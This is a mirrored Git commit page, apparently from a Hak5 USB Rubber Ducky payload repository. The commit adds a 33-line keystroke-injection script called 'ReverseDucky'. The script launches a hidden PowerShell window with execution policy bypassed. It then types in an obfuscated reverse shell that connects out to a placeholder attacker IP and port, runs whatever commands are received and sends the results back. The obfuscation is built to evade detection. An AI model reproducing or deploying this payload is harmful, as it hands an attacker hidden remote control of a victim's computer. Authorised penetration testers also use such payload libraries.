hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

ReverseDucky 

An obfuscated reverse shell, executed directly in powershell, hidden in the background.
pull/8/head
0iphor13 2021-07-17 21:15:35 +02:00 committed by GitHub
parent 44b99d3ef4
commit 389a11d5ad
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 33 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

33
library/payloads/remote_access/ReverseDucky.txt Normal file
View File

@ -0,0 +1,33 @@
DELAY 1500
GUI r
DELAY 500
STRING powershell -NoP -NonI -W hidden -Exec Bypass
DELAY 250
ENTER
DELAY 200
STRING SeT-ITeM VARIABLE:Q528Yl ( [TYpE]("{3}{0}{1}{2}" -F '.','eN','cOdinG','TexT') ) ;${clie
DELAY 200
STRING NT} = &("{1}{0}{2}" -f 'Objec','New-','t') ("{6}{3}{4}{0}{7}{1}{2}{5}{8}" -f'm','.S','oc
DELAY 200
STRING k','s','te','e','Sy','.Net','ts.TCPClient')(("{4}{1}{3}{0}{2}" -f'*3RD BLOCK*','.*2ND BLOCK*','.*4TH BLOCK*','.','*FIRST BLOCK*'),P
DELAY 200
STRING ORT);${sTReAM} = ${cliEnt}.("{1}{2}{0}" -f'tream','G','etS').Invoke();[byte[]]${byteS} = 0..655
DELAY 200
STRING 35|&('%'){0};while((${I} = ${STReAM}.("{0}{1}"-f 'R','ead').Invoke(${bYtes}, 0, ${ByTES}."lENgt
DELAY 200
STRING h")) -ne 0){;${DATa} = (.("{3}{2}{1}{0}" -f 'ect','bj','w-O','Ne') -TypeName ("{2}{0}{3}{4}{1
DELAY 200
STRING }"-f 'Tex','IEncoding','System.','t','.ASCI'))."GEtStrING"(${byTes},0, ${I});${senDBaCk} = (.("{0
DELAY 200
STRING }{1}"-f'i','ex') ${DATa} 2>&1 | .("{0}{2}{1}"-f 'Out-Str','ng','i') );${SendBACK2} = ${sENDBAc
DELAY 200
STRING K} + 'PS ' + (.("{1}{0}" -f 'd','pw'))."pATH" + '> ';${sENDbyte} = ( ( GI VaRiABLE:Q528YL )."vA
DELAY 200
STRING LuE"::"ASciI").("{2}{1}{0}"-f 'es','t','GetBy').Invoke(${SENdBaCK2});${STREam}.("{1}{0}"-f 't
DELAY 200
STRING e','Wri').Invoke(${sEnDBYTE},0,${SENdBYTE}."LengtH");${sTReAM}.("{1}{0}" -f 'lus
DELAY 200
STRING h','F').Invoke()};${cliENt}.("{1}{0}"-f'e','Clos').Invoke()
DELAY 200
ENTER